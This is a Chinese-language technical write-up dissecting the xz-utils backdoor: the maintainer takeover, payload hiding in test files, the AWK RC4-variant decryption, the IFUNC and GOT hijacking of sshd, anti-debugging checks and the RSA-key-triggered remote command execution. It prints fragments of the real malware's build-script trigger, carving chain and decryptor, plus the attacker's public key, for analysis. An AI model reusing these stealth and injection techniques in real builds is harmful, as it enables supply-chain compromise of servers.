「幻核-7」拆开 xz 后门看看里面藏了什么鬼
字数 3616
更新时间 2026-07-12 13:37:41

XZ后门攻击链深度剖析:从0.5秒延迟到全球供应链危机

一、事件背景

2024年3月,微软PostgreSQL工程师Andres Freund在进行性能基准测试时,发现SSH登录延迟从0.3秒增加到0.8秒,同时sshd进程CPU占用异常。通过Valgrind排查,发现liblzma(xz-utils压缩库)的代码路径出现异常错误,由此揭露了近年来最精密的供应链攻击之一。

二、社会工程学渗透:两年的潜伏布局

2.1 攻击者入场

  • 2021年10月:账号Jia Tan(GitHub ID: JiaT75)提交首个patch
  • 代码质量良好,态度积极,持续贡献
  • 截至2021年底已提交546个commit

2.2 施压策略

  • 2022年4-6月:两个新账号Jigar Kumar和Dennis Ens在邮件列表施压
    • Jigar Kumar:"按照你现在的速度,我很怀疑今年能看到5.4.0版本……为什么不移交维护权?"
    • Dennis Ens:"我对你的心理健康问题感到遗憾,但了解自己的极限很重要"
  • 这两个账号在互联网上无任何其他活动痕迹

2.3 获取权限

  • 2022年6月底:维护者Lasse Collin回复称Jia Tan"可能承担更大角色","实际上已经是共同维护者"
  • Jia Tan获得commit权限,最终成为release manager

三、后门植入机制:多层嵌套的Payload隐藏

3.1 第一层:伪装测试文件

关键文件(2024年2月23日合入):

  • tests/files/bad-3-corrupt_lzma2.xz
  • tests/files/good-large_compressed.lzma

隐蔽技巧

  • 后门入口文件m4/build-to-host.m4仅存在于release tarball中,不在git仓库
  • 这是autotools项目的正常行为——tarball包含autoreconf生成的.m4文件

3.2 第二层:build-to-host.m4中的触发逻辑

gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
gl_path_map='tr " \-_" " _\-"'

工作流程

  1. 搜索匹配####XXXXX####模式的文件 → 匹配bad-3-corrupt_lzma2.xz
  2. tr命令执行字节交换:0x09 ↔ 0x20(tab↔空格),0x2D ↔ 0x5F(-↔_)
  3. 将"损坏"的xz文件变为合法xz文件,解压得到Stage 1 bash脚本

3.3 第三层:Stage 1的数据雕刻

good-large_compressed.lzma解压后内容为payload碎片与填充数据(0x41即字母A)交替排列

雕刻函数(使用head命令链):

# 简化版,实际链更长
i="head -c 1024 > /dev/null; head -c 2048; head -c 1024 > /dev/null; head -c 2048; ..."
  • 跳过填充数据(> /dev/null),提取payload碎片
  • 无需额外工具,head命令在所有Unix系统可用

3.4 第四层:AWK实现的RC4变种解密

关键代码

BEGIN{
    FS="\n"; RS="\n"; ORS="";
    m=256;
    for(i=0;i<m;i++){
        t[sprintf("x%c",i)]=i;
        c[i]=((i*7)+5)%m;   # 硬编码密钥调度
    }
    # 丢弃前8192字节密钥流(5.6.1版本)
    i=0; j=0;
    for(l=0;l<8192;l++){
        i=(i+1)%m; a=c[i];
        j=(j+a)%m; c[i]=c[j]; c[j]=a;
    }
}
{
    v=t["x"(NF<1?RS:$1)];
    i=(i+1)%m; a=c[i];
    j=(j+a)%m; b=c[j];
    c[i]=b; c[j]=a;
    k=c[(a+b)%m];
    printf "%c",(v+k)%m   # 加法模256替代XOR
}

关键改动

  1. 密钥调度用公式((i*7)+5) % 256替代标准RC4的KSA
  2. 用加法模256替代XOR(AWK无位运算操作符)

解密管道

xz -dc tests/files/good-large_compressed.lzma |
eval $i |
LC_ALL=C sed "s/$.$/\1\n/g" |
LC_ALL=C awk '...' |
xz -dc --single-stream |
head -c +$W > liblzma_la-crc64-fast.o

最终产物:约88KB的ELF可重定位目标文件liblzma_la-crc64-fast.o

3.5 第五层:构建系统篡改

Stage 2脚本执行:

  1. 修改src/liblzma/Makefile,将恶意.o文件链接进liblzma.so
  2. 修改libtool配置:
    • 加入-fno-lto(关闭链接时优化,防止后门被优化掉)
    • 加入-ffunction-sections -fdata-sections(防止linker GC删除后门函数和数据段)
  3. 修改crc64_fast.c源码:
    • is_arch_extension_supported()重命名为_is_arch_extension_supported()
    • 使其调用恶意.o文件导出的_get_cpuid()函数

四、运行时劫持机制

4.1 依赖链

sshd → libsystemd → liblzma(被感染)

OpenSSH本身不使用liblzma,但Debian、Fedora等发行版为sshd打了systemd通知补丁,导致sshd链接libsystemd,而libsystemd依赖liblzma。

4.2 IFUNC机制武器化

IFUNC(间接函数):glibc提供的功能,允许同一函数根据CPU特性在运行时选择不同实现。

时间窗口利用

  • sshd使用-Wl,-z,now(full RELRO)编译
  • IFUNC resolver执行发生在GOT被锁定之前
  • 后门替换crc32_resolve()和crc64_resolve()的实现

_get_cpuid()执行流程

  1. 第一次调用(crc32_resolve触发):内部计数器=0→加1→返回(不做任何事)
  2. 第二次调用(crc64_resolve触发):内部计数器=1→激活后门
    • 遍历动态链接器内部结构(link_map),找到所有已加载共享库
    • 解析sshd的符号表和字符串表
    • 执行反调试检查
    • _rtld_global_ro._dl_naudit安装审计钩子
    • 钩子在每个符号绑定时被调用
    • RSA_public_decrypt被绑定时→替换GOT条目指向后门函数
    • 卸载审计钩子,消灭痕迹

4.3 反调试机制

检查项 条件 目的
argv[0] 必须是/usr/sbin/sshd 确保在sshd进程里
TERM 必须未设置 排除交互式终端(调试场景)
LD_DEBUG 必须未设置 排除动态链接调试
LD_PROFILE 必须未设置 排除profiling
LANG 必须已设置 正常daemon环境都有
endbr64指令 关键函数入口处的endbr64(0xf30f1efa)必须完整 检测软件断点(int3会覆盖第一个字节)

特别说明:endbr64是Intel CET(控制流强制技术)指令。如果用GDB在函数入口设断点,int3(0xCC)会替换endbr64的第一个字节0xf3,后门即可检测到调试。

五、远程代码执行(RCE)触发

5.1 触发流程

GOT劫持后,每次sshd验证客户端RSA签名都走到后门代码:

Step 1:从RSA公钥提取payload

  • 调用RSA_get0_key()获取客户端RSA公钥
  • 检查公钥模数(N值)
  • 攻击者可构造特殊RSA密钥,将payload编码进N值

Step 2:Ed448签名验证

  • payload包含Ed448数字签名
  • 后门硬编码攻击者Ed448公钥:
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00
  • 签名绑定目标主机SSH host key,防止重放攻击

Step 3:ChaCha20解密

  • 签名验证通过后,payload剩余部分用ChaCha20解密

Step 4:system()执行

  • 解密命令直接传给system()执行
  • 调用setresuid()确保root权限

5.2 假冒内存分配器

问题:后门需要调用system()、setresuid()等敏感函数,但不能出现在符号导入表

解决方案:劫持liblzma自身的lzma_alloc() API

lzma_allocator结构体:

typedef struct {
    void *(*alloc)(void *opaque, size_t nmemb, size_t size);
    void (*free)(void *opaque, void *ptr);
    void *opaque;
} lzma_allocator;

后门构造假lzma_allocator:

  • alloc函数指针→自定义符号解析函数
  • opaque字段→ELF模块描述符指针
  • 调用看起来像内存分配,实际在解析函数地址:
func_ptr = lzma_alloc(0xAB8, &fake_allocator);  // 解析setresuid
func_ptr = lzma_alloc(0x308, &fake_allocator);  // 解析read

5.3 日志伪造

后门触发成功后写入syslog:

Connection closed by authenticating user %s %s [preauth]

此消息格式与sshd认证失败日志完全相同,并调用setlogmask(0xFF)操控日志级别过滤。

六、完整攻击链总结

release tarball包含build-to-host.m4(git仓库中没有)
│
▼
build-to-host.m4用grep定位bad-3-corrupt_lzma2.xz
│
▼
tr字节交换"修复"损坏的xz文件→解压得到Stage 1 bash脚本
│
▼
Stage 1用head链从good-large_compressed.lzma雕刻出payload
│
▼
字节替换+LZMA解压→Stage 2 bash脚本(构建系统修改器)
│
▼
Stage 2检查环境(x86_64/glibc/gcc/deb|rpm打包构建)
│
▼
AWK RC4变种解密→liblzma_la-crc64-fast.o(88KB恶意目标文件)
│
▼
修改Makefile+libtool,链接进liblzma.so
│
▼
sshd启动→加载liblzma→IFUNC resolver执行_get_cpuid()
│
▼
安装动态链接器审计钩子→拦截RSA_public_decrypt符号绑定
│
▼
GOT条目替换为后门函数→卸载审计钩子
│
▼
SSH连接进入→检查RSA公钥模数中的Ed448签名
├── 签名无效→转发给真实RSA_public_decrypt,正常认证
└── 签名有效→ChaCha20解密→system()执行→伪造日志

七、未解之谜

  1. Jia Tan身份:两年的社工渗透、对autotools构建系统的深入理解、对glibc动态链接器内部结构的精确操作、选择Ed448而非更常见的Ed25519——这不像单人作品。至今无公开归因,GitHub账号已被封禁,邮件指向ProtonMail。

  2. Ed448私钥持有人:后门硬编码的是公钥,只有持有对应私钥者才能生成有效payload触发RCE。

  3. 预留扩展机制:5.6.1版本的Stage 2包含扩展机制——在tests/files/目录搜索包含特定字节签名的文件,如找到则提取、解密、执行。已知版本中无任何文件匹配这些签名,这是为未来预留的payload投递通道。

八、关键教训

该后门差一点进入Debian stable和Ubuntu LTS。如果不是Andres Freund对0.5秒延迟的强迫症级好奇心,如果不是Valgrind恰好在后门代码路径上报错——这个后门将在全球数百万台Linux服务器上安静等待激活。

相似文章
相似文章
 全屏